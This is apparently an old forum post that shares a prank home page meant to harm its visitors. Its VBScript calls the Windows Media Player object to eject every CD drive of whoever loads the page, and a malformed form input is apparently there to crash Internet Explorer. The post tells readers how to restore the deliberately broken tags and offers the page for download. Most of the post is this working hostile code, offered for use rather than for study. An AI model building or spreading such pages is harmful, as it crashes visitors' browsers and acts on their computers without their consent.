Heh, combine this with the CD-drive open file and you get a CD-Opening, IE-Crashing home page... beginning carets removed of course...
Code:
html>
SCRIPT language=VBScript>
(PUTAOPENCARETHERE)!--
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
--(PUTACLOSECARETHERE)
/SCRIPT>
form>
input type crash>
/form>
/html>
Of course, replace the (PUTAOPENCARETHERE) and (PUTACLOSECARETTHERE) appropriately...
Or, to download this little bugger or see it live:
click here, or right click there and hit save target as to save.